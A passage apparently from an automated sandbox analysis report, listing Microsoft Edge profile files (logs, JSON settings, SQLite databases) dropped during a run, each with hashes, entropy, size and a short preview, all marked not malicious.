Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.165390380339036
Encrypted:	false
SSDEEP:	6:yVSQL+q2P923oH+Tcwt8aPrqIFUt8hVSG1Zmw+hAsQLVkwO923oH+Tcwt8amLJ:cyv4YebL3FUt8H/+iR5LYebQJ
MD5:	7997C21B36EC424EC213250CB7DCC6A5
SHA1:	4630829AF0FE8BDEA987B395ACA0463DF30CE6CD
SHA-256:	8D67BCE41D311329184133D87CEE9CFB0806BA5C5977C6EE3C690886F3CBAD94
SHA-512:	949AAA7BAB5EF318C782F8094B0BC7F29207C22243A1DB6CFC7DF26274ABAED88C902C0D8F5059C21736B1096080FDF457A904513C4D4BA91FDD20C91B27588A
Malicious:	false
Preview:	2024/10/28-21:46:26.651 1d18 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/10/28-21:46:26.651 1d18 Recovering log #3.2024/10/28-21:46:26.652 1d18 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.165390380339036
Encrypted:	false
SSDEEP:	6:yVSQL+q2P923oH+Tcwt8aPrqIFUt8hVSG1Zmw+hAsQLVkwO923oH+Tcwt8amLJ:cyv4YebL3FUt8H/+iR5LYebQJ
MD5:	7997C21B36EC424EC213250CB7DCC6A5
SHA1:	4630829AF0FE8BDEA987B395ACA0463DF30CE6CD
SHA-256:	8D67BCE41D311329184133D87CEE9CFB0806BA5C5977C6EE3C690886F3CBAD94
SHA-512:	949AAA7BAB5EF318C782F8094B0BC7F29207C22243A1DB6CFC7DF26274ABAED88C902C0D8F5059C21736B1096080FDF457A904513C4D4BA91FDD20C91B27588A
Malicious:	false
Preview:	2024/10/28-21:46:26.651 1d18 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/10/28-21:46:26.651 1d18 Recovering log #3.2024/10/28-21:46:26.652 1d18 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.1834523658189955
Encrypted:	false
SSDEEP:	6:yMQL+q2P923oH+Tcwt865IFUt8hKsG1Zmw+h+QLVkwO923oH+Tcwt86+ULJ:Yyv4Yeb/WFUt8I1/+1R5LYeb/+SJ
MD5:	510836492152A09C1D6F5967FE04D98D
SHA1:	E0EAA822E60C2E88B324D068489A427B3FB28F98
SHA-256:	C11582E1AA7504D8BDD312AEECEAC2F42C1B752D50FA51581E5FCC07EECAEC63
SHA-512:	EED2A41DB2CEC70BE67D88A19D45E098E79490CB5BB31343896B58B10635FF36D369E82972AD0CB78DD4492C45CC3EB5EA2B7ED907D71D84178A157C01C66123
Malicious:	false
Preview:	2024/10/28-21:46:26.655 1d18 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/10/28-21:46:26.658 1d18 Recovering log #3.2024/10/28-21:46:26.662 1d18 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.1834523658189955
Encrypted:	false
SSDEEP:	6:yMQL+q2P923oH+Tcwt865IFUt8hKsG1Zmw+h+QLVkwO923oH+Tcwt86+ULJ:Yyv4Yeb/WFUt8I1/+1R5LYeb/+SJ
MD5:	510836492152A09C1D6F5967FE04D98D
SHA1:	E0EAA822E60C2E88B324D068489A427B3FB28F98
SHA-256:	C11582E1AA7504D8BDD312AEECEAC2F42C1B752D50FA51581E5FCC07EECAEC63
SHA-512:	EED2A41DB2CEC70BE67D88A19D45E098E79490CB5BB31343896B58B10635FF36D369E82972AD0CB78DD4492C45CC3EB5EA2B7ED907D71D84178A157C01C66123
Malicious:	false
Preview:	2024/10/28-21:46:26.655 1d18 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/10/28-21:46:26.658 1d18 Recovering log #3.2024/10/28-21:46:26.662 1d18 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.187827259732192
Encrypted:	false
SSDEEP:	6:yeQWSq2P923oH+Tcwt8NIFUt8heQWXOZmw+heQWXikwO923oH+Tcwt8+eLJ:DSv4YebpFUt8g+/+gy5LYebqJ
MD5:	2485CCE6E80D8524C38161174300AD35
SHA1:	689D441E6DF70178A7A7EAD60AC61362E52FF4E5
SHA-256:	4E2DF008B03ACC802C7A19AB974729BDAB274F6AB586AADBBC6AE15191A770D5
SHA-512:	E7E0E4BF4D2F8317EF13555AFE98FF05C3411D0A9552B19C1BB717A534E6536C4A31B9ED4333FEB0442AB5397F4D593B546F9062522996FCED45287903BD7487
Malicious:	false
Preview:	2024/10/28-21:46:27.531 1dd4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/10/28-21:46:27.532 1dd4 Recovering log #3.2024/10/28-21:46:27.532 1dd4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.187827259732192
Encrypted:	false
SSDEEP:	6:yeQWSq2P923oH+Tcwt8NIFUt8heQWXOZmw+heQWXikwO923oH+Tcwt8+eLJ:DSv4YebpFUt8g+/+gy5LYebqJ
MD5:	2485CCE6E80D8524C38161174300AD35
SHA1:	689D441E6DF70178A7A7EAD60AC61362E52FF4E5
SHA-256:	4E2DF008B03ACC802C7A19AB974729BDAB274F6AB586AADBBC6AE15191A770D5
SHA-512:	E7E0E4BF4D2F8317EF13555AFE98FF05C3411D0A9552B19C1BB717A534E6536C4A31B9ED4333FEB0442AB5397F4D593B546F9062522996FCED45287903BD7487
Malicious:	false
Preview:	2024/10/28-21:46:27.531 1dd4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/10/28-21:46:27.532 1dd4 Recovering log #3.2024/10/28-21:46:27.532 1dd4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.2191763562065486
Encrypted:	false
SSDEEP:	3:xsb9tFlljq7A/mhWJFuQ3yy7IOWUE/KtdweytllrE9SFcTp4AGbNCV9RUIU0n:KbG75fOMud0Xi99pEY20n
MD5:	49D68AAA433330B6C08A4635E2E83AB6
SHA1:	12C78369627E9F43E20F9EAC686DFF35D81FD385
SHA-256:	6E015AA8CC5F016A3A1B64BDDA56F7B6C6F9AB4FCC959DDE94E422112A6C91D4
SHA-512:	D440F3D9FA7BA9688E720E33C91F00DABF79320832F93FC4E81B6A9DFDAF1B587F5DD9FE240682B11933E0D8147574107854A384CF1F8D17391FDF4A66F3AEF0
Malicious:	false
Preview:	...............Q...&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.647760874698583
Encrypted:	false
SSDEEP:	384:aj9P0HP/Kbtfjl5gam6IocXQkQerMhj773pLLRKToaAu:ad0P/yl8bXe2MF7NRKcC
MD5:	0C64BDD05E0AEEF2E9B085AD63C30241
SHA1:	77A2109B25D67CFEA821346409B46274FB6B4F38
SHA-256:	722D28018D2EBD2AB28A4E667C41DF2955AF7EB47D1DD007442270A68CD62A24
SHA-512:	13754FC19FBF1E8B887189922CE6A42F6574936F6A459E39A5B5BB9A352D4AAF3F1831A4BFFF6CF933CDAE74655135DA8A37B1E231F49CFFA189F35E290FEDB1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.24645070688714
Encrypted:	false
SSDEEP:	12:nG8v4Yeb8rcHEZrELFUt8OA/+Oo5LYeb8rcHEZrEZSJ:nGG4Yeb8nZrExg8OcyLYeb8nZrEZe
MD5:	9611AC5CD67BC59E61CB3C2F06A6BE24
SHA1:	69D02FB4A92A033AFEE4B118281E5657650903A4
SHA-256:	75121AAAA1BE56B992E226722A9A21D84CCA72D07A77D43701E71EDBFD87F6B9
SHA-512:	B632AC055ADEB07DEB6E3F7DCE86334D14F94939F7618DD9B748609F048E52A1AA2FCF6EAD84F46D7C965D4FDA186BF541FDD4B82D23AE57D26A0D1F944A4761
Malicious:	false
Preview:	2024/10/28-21:46:30.886 1dd4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/10/28-21:46:30.888 1dd4 Recovering log #3.2024/10/28-21:46:30.888 1dd4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.24645070688714
Encrypted:	false
SSDEEP:	12:nG8v4Yeb8rcHEZrELFUt8OA/+Oo5LYeb8rcHEZrEZSJ:nGG4Yeb8nZrExg8OcyLYeb8nZrEZe
MD5:	9611AC5CD67BC59E61CB3C2F06A6BE24
SHA1:	69D02FB4A92A033AFEE4B118281E5657650903A4
SHA-256:	75121AAAA1BE56B992E226722A9A21D84CCA72D07A77D43701E71EDBFD87F6B9
SHA-512:	B632AC055ADEB07DEB6E3F7DCE86334D14F94939F7618DD9B748609F048E52A1AA2FCF6EAD84F46D7C965D4FDA186BF541FDD4B82D23AE57D26A0D1F944A4761
Malicious:	false
Preview:	2024/10/28-21:46:30.886 1dd4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/10/28-21:46:30.888 1dd4 Recovering log #3.2024/10/28-21:46:30.888 1dd4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1656
Entropy (8bit):	5.677651667691462
Encrypted:	false
SSDEEP:	48:KtZjmPF3xf6XZKQV03Sx41HHHxda2LoEaiUHdzV:KtRI3xg8mWRxLD4
MD5:	1C6ADA237E4644F5189B71D055BFCB89
SHA1:	40EF16079F008B85C78AC4E8C3E848650F2D5445
SHA-256:	124606C2EC804083BD099FB940595BDB3E840CE23F79754194EA1570C366887C
SHA-512:	FFBCAF74054963522E3ECEC6CB6AC6C1B6A8E7A8F7E0E75AE5FD7F27FD2A7EEA2320EF5FDBF8ED06DEBE97F21C931C3EC99681F5759942EAA0023321F2D8C5F9
Malicious:	false
Preview:	8f..z................VERSION.1..META:https://ntp.msn.com.............._https://ntp.msn.com..FallbackNavigationResult?.{"r":"edgenext-base-v1-empty. NetworkCall","ic":true,"te":767}.!_https://ntp.msn.com..LastKnownPV..1730166399107.-_https://ntp.msn.com..LastVisuallyReadyMarker..1730166401206.._https://ntp.msn.com..MUID!.068FFCF09D60634F3420E9D79CEE6292.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1730166399198,"schedule":[29,-1,-1,-1,-1,9,28],"scheduleFixed":[29,-1,-1,-1,-1,9,28],"simpleSchedule":[48,30,43,18,12,39,31]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1730166399075.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241025.434"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.205858854790685
Encrypted:	false
SSDEEP:	6:yeQcbOq2P923oH+Tcwt8a2jMGIFUt8heQcTq9Zmw+heQcFkwO923oH+Tcwt8a2jz:Ev4Yeb8EFUt8oa/+m5LYeb8bJ
MD5:	5D8E98846076861F0B3471D3F81CE62F
SHA1:	64B442AE8644F7C4A46425FD733A7990E99778D1
SHA-256:	E1566FEDE3582FFFF74A346CB5DDE3AFF19ABD93FA1D763AADAD198816D0A312
SHA-512:	C148D826D8F9AC5AC2E44233979B14DE63546D3625AD9F8686D2A473C03FA0273028019DA065F58D92AC8AE368A0B00E3C2B6F5E12CA62182D47468C0E1D7126
Malicious:	false
Preview:	2024/10/28-21:46:27.595 1e74 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/10/28-21:46:27.596 1e74 Recovering log #3.2024/10/28-21:46:27.599 1e74 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.205858854790685
Encrypted:	false
SSDEEP:	6:yeQcbOq2P923oH+Tcwt8a2jMGIFUt8heQcTq9Zmw+heQcFkwO923oH+Tcwt8a2jz:Ev4Yeb8EFUt8oa/+m5LYeb8bJ
MD5:	5D8E98846076861F0B3471D3F81CE62F
SHA1:	64B442AE8644F7C4A46425FD733A7990E99778D1
SHA-256:	E1566FEDE3582FFFF74A346CB5DDE3AFF19ABD93FA1D763AADAD198816D0A312
SHA-512:	C148D826D8F9AC5AC2E44233979B14DE63546D3625AD9F8686D2A473C03FA0273028019DA065F58D92AC8AE368A0B00E3C2B6F5E12CA62182D47468C0E1D7126
Malicious:	false
Preview:	2024/10/28-21:46:27.595 1e74 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/10/28-21:46:27.596 1e74 Recovering log #3.2024/10/28-21:46:27.599 1e74 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\29f39561-7ec1-4066-9c83-d94ae178f15a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\33d4b24b-f90d-4585-b1aa-6257ed704e6f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336394944460292
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7nbI+:YXs/tsbfc7leeEscgCgakhYhbxo+
MD5:	BF6BA1797785A5763A0088569A24FE85
SHA1:	62B9D7386B7BDD97B816063ED0D9CC0D912EB130
SHA-256:	40C6B39ED9B1E473CBD7027290D7996D15139F0B5BDC4BA6769E8FE8467BBA4E
SHA-512:	FE46026F5F2C16522DBA26D256C0831DA94254C432E5C2CC77F864E6D7E0F1D9C66A50726AF91B06D54EC124C21D1C73744CB2D9CC016BD9FE7200823698D729
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\34fdebc9-ac89-4d16-9fde-bc9ed9b10c11.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\5c9adb5b-4190-408d-a191-2b93bf066f5d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.9988177520753876
Encrypted:	false
SSDEEP:	192:tTDNhbfxoodcLuiConRL6jhymUYO0B/zbl0b:VD7Lxfdc6iConUYma0B7bl0b
MD5:	6F6D849C8D9C245FBC5D193640111249
SHA1:	3A43795AE4034809451633986C0529F5DDE13BA5
SHA-256:	CC87031C8D7C0F55DB4F8FF2C50EB2D1E28E04A4F222AEC4E8D0059070BD4C69
SHA-512:	BB7651DBA5392DEF3653B32F1D50B63FB2E38E85F8071E024E42F9A9CF6A2A180469D29E7E999A34E553BA575C6EBC39E1A09C4B229A65A6FA63916C578D6F1A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336394944460292
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7nbI+:YXs/tsbfc7leeEscgCgakhYhbxo+
MD5:	BF6BA1797785A5763A0088569A24FE85
SHA1:	62B9D7386B7BDD97B816063ED0D9CC0D912EB130
